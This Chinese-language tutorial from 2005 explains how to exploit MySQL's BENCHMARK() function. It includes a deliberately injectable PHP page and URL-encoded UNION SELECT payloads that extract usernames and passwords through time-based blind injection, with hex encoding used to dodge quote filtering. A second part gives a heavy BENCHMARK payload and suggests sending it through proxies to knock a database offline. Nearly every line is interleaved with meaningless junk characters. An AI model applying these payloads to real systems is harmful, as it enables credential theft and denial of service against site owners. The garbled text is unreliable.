MYSQL中BENCHMARK函数的利用
: j0 z" I+ K z3 z本文作者:SuperHei+ O4 m& P* f1 z, A# p- a
文章性质:原创
4 L" B# I% R' q V发布日期:2005-01-02& f6 h3 Z; l0 m7 \+ }+ c
完成日期:2004-07-09 5 N: l( d) p# `" I
第一部
( W3 V0 z/ d2 P: M. |6 ?# H9 e
/ f3 B- b1 A. {& I0 X3 _0 g利用时间推延进行注射---BENCHMARK函数在注射中的利用
$ M% A H: A% }. |- W L, ~/ V+ W# s
1 `& ?9 j2 M* x3 l# W一.前言/思路
* f7 ?, f3 q: i: _& k1 F& r
) c* d# j) @1 [7 k: b 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。- K7 F$ }) Q) Q! \# F' d3 h
9 r e0 l/ k5 o' X1 i7 B5 L0 O 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。5 E4 n1 ~ [& A) \" x
8 E" D; I t( L( s( {! r二.关于BENCHMARK函数
( a" ]0 i8 _4 S- j9 G4 A! Z2 m4 ?# f2 b; e( Y3 t5 q; d
在MySQL参考手册里可以看到如下描叙: 5 {5 u! _8 S {3 d9 J" c
. F8 n. j& k5 O: C' I
& L, b8 H3 N6 o2 h( |# @
--------------------------------------------------------------------------------+ A [0 n6 T- m" S% |& y! z+ A3 f
+ e- ~" F1 z3 m T, `BENCHMARK(count,expr)
/ E& F( k/ @) ]2 z( O4 `BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
: i% _5 E9 }8 \3 a8 f; L7 Gmysql> select BENCHMARK(1000000,encode("hello","goodbye")); 5 p$ J, f2 v+ T9 W5 @! o4 D
+----------------------------------------------+ 9 Y& ^/ Z! ?7 I3 J7 f
| BENCHMARK(1000000,encode("hello","goodbye")) | 9 n" z# ?* M9 j/ @
+----------------------------------------------+ ) M; d8 S% ^' ?' |* f* s
| 0 |
2 }( E; E. ]* e1 U/ }+----------------------------------------------+
9 t: I' r2 ~; L. e9 s4 S( D2 {; U1 row in set (4.74 sec)
. t* N+ h4 P- R& \& o
5 {& }" `/ T, @. q报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。, P+ x; M# A% M1 s
% L- F2 R& K6 ?" P6 f6 I# m6 X+ j; A7 ^8 N% j. d) S3 t1 H
--------------------------------------------------------------------------------8 s |% K9 G, S ~3 p& D# D- {
" e: {+ f( o( e0 E 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
. p" m Z0 i! y3 h- R% T1 j$ m7 R# ?
mysql> select md5( 'test' );
. k# h- N+ p# a( s+----------------------------------+
" @6 h/ U% W' B! ?# s' I/ B| md5( 'test' ) | . d Q+ ~" s8 I3 n2 I
+----------------------------------+
* Z- W. b" V3 L4 o4 ^* s6 q7 r7 b" ^| 098f6bcd4621d373cade4e832627b4f6 | 8 [3 ^, n. j, g8 L+ b
+----------------------------------+ 8 g; V6 O \& n; V# `. `! w" l& V
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec D. Z5 X) Z) s, J& z* H! @
! @ f x- `0 h! j& t
mysql> select benchmark( 500000, md5( 'test' ) ); # `+ ?6 i( Y4 b1 k3 {
+------------------------------------+ 6 j7 S% x# Y: [
| benchmark( 500000, md5( 'test' ) ) | 5 ~. b% f) |, m I: m) }
+------------------------------------+ X! `4 M$ F; m3 ]0 ~* R, k
| 0 |
% o. y' @ l$ r' n2 d0 L4 g- M2 x* c+------------------------------------+
; C2 |. o# U- k3 _% J u1 row in set (6.55 sec) 〈------------执行时间为6.55 sec. ?( t" t+ Y: ]7 Q' E
4 F# ~( i+ s% ]( b7 l! E, i2 \
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
6 u9 r( l& Q- q# J- ~% M1 u# e) X) ^, Q' W4 Q
三.具体例子
j' Y. Z6 ]; X8 [
/ X" @3 D4 R8 q5 Y* z 首先我们看个简单的php代码:
; X7 z9 ]# Z* p9 \" | r1 |4 T" I) L3 `% d; [
< ?php ) F1 ^/ A( ^+ e' l5 q
$servername = "localhost";
& P( R9 L3 X' u$dbusername = "root";
6 |0 s7 v; l F$dbpassword = ""; . p/ }1 c# M$ ?: ]' h
$dbname = "injection";
0 J2 c& U' X! g( L$ e2 H/ W/ t: T$ w- e6 n' {+ B- I3 t5 p
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); - {$ }0 K: ? V+ r7 I5 v- ~8 n( ^
2 a( f4 s x; E% P/ q, r6 A; M
$sql = "SELECT * FROM article WHERE articleid=$id";
" Y4 J Y: J2 C3 v! }* \0 ]4 n. k* c$result = mysql_db_query($dbname,$sql);
4 k% Q1 O$ |# }$row = mysql_fetch_array($result);
# B/ O+ H0 H! D, v J$ b* z
" j0 }' g- `' e$ x- Q$ ]8 _- O \0 wif (!$row)
* o0 w% A3 d _3 \{
6 m# L9 i" F* D; A' g7 m2 ?3 Mexit;
8 d, {, R) [* @* v. x}
8 b+ e8 c5 N1 N7 S# D+ k! f?>9 L* s6 W+ z* V0 e5 Y& `
# s2 c) q2 ~& q! f0 s
- V4 t; {: r& @ 数据库injection结构和内容如下:' \8 O5 H- |4 ]5 ]: }' F
/ `9 B0 {; E- G# 数据库 : `injection` : H p0 X8 B% I& g% L) N
# . s9 V; V4 i) y( C! y/ j" Y
* c. c8 N- }7 Y) @' g# -------------------------------------------------------- " Z2 i/ j- T# r0 u4 g
5 ~% d5 _% c/ H* F$ h# . W5 O" S T s( N' h0 }! B
# 表的结构 `article` $ p H& L# S8 p3 R
#
& n( u/ ?/ A3 d- c U3 M
4 U, g j4 w5 wCREATE TABLE `article` ( - n! h1 F3 u) k( q) w/ B W$ k$ A
`articleid` int(11) NOT NULL auto_increment, ; ^/ A3 o! o3 C* `' r3 U' m
`title` varchar(100) NOT NULL default '',
j+ U* |* `1 f4 V; Y`content` text NOT NULL,
& n) m* G8 \" Q6 DPRIMARY KEY (`articleid`) & r) w7 I. E' n& A. g- ~7 ?% ?
) TYPE=MyISAM AUTO_INCREMENT=3 ; * j x4 I/ I I, E$ } D5 x3 [
8 z% s& D7 b& O: @& d* l- j+ c7 p#
3 m) |9 _+ i2 Q! B# 导出表中的数据 `article` + w# Q; s. x# ?8 Z
# 9 i9 W) e) d* K" S
' G+ T& ]4 v/ C, v9 u
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); + l3 @/ O* z0 y, f3 @0 x' ]# Y. P$ F) e
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
, w. Q, A& u( V% k" V/ g! K; S J2 K$ r& O% P
# --------------------------------------------------------
0 L: N( v" ]- f, U0 E" `0 I4 a5 \/ P5 I; O4 Y
#
6 E, ]3 W' {& I, p( g/ w6 A$ c) d# 表的结构 `user` 7 {- [3 {+ O5 b Q: t
#
# I4 Q" }) F; ^ y& n3 k6 K* v6 T2 \ y. X
CREATE TABLE `user` ( ' Y& W- L8 g" P1 O6 ~7 J
`userid` int(11) NOT NULL auto_increment,
6 g. K' R/ p0 T* P`username` varchar(20) NOT NULL default '',
/ j5 N1 T, O; D) e`password` varchar(20) NOT NULL default '', , h+ ~! E% A! m
PRIMARY KEY (`userid`)
' C5 A# @0 Z; e/ d) TYPE=MyISAM AUTO_INCREMENT=3 ; 2 [+ o/ v& o7 G0 g
. o. Y2 h4 ]; A. Y3 ?1 p2 B
# ! i! u/ z4 X) L/ t$ a
# 导出表中的数据 `user`
3 u* y2 _& d) y4 ?* ], P#
2 i7 _6 C7 O1 B1 o4 m
' A B6 s q" ]% N9 D! HINSERT INTO `user` VALUES (1, 'angel', 'mypass');
; w4 y; K' \6 \: Q; @6 M4 rINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');, H3 |! e6 q) {, f
0 D, b7 ?# {1 E9 \7 Q4 L' o2 V# M4 Y \
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
( i2 g% E6 |; d* Z7 M/ a0 H2 e0 y' w: H
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /* q; a( F$ c+ Y/ h' F+ U
7 p2 a: V0 S. k4 b. J) O
) r) K( h5 K H/ e# J( w/ @8 _
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
4 l/ D S, U, T7 [
+ l; R* @, A! Z, g% ?! z, Uhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*/ U$ M# h2 I* `7 j. m' J& @
; Z. x( F) v! b+ j- ]
* I; ^+ C# M- z5 p m$ u2 N9 E3 y4 ] 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
& A3 {6 @1 H2 T0 O; q1 B
- A/ L$ {9 {. U 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
) Q) s, _: S0 E) t% G4 z/ h7 V4 X+ ^* p( [% o# g% t B! b- o9 z" g& K
第二部6 E3 X- J( X) c, y9 y
1 ^! ?, Q& }7 T u6 p利用BENCHMARK函数进行ddos攻击
, s5 m8 h6 g3 @& p" \7 q9 ?5 \2 l( L( T$ r
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:! h" [2 v8 c8 V, v" l; e2 {/ a
/ `( E' Q6 j2 L( j' \$ e8 W
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
* L- q1 v% d, }' A
5 j& y! [) | A$ |& Q
' @7 f& O5 n. F8 o( L' O小结2 |" K* R6 Q8 Y I# B1 I2 H
6 o0 _ {6 D: e# z 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
( I% ]# c" t( y8 o7 z s1 b; j3 y L% ^ - Z$ p& o" y. ]+ F2 R9 p4 {* A
; }' `3 u. T- V# x& l. e: R |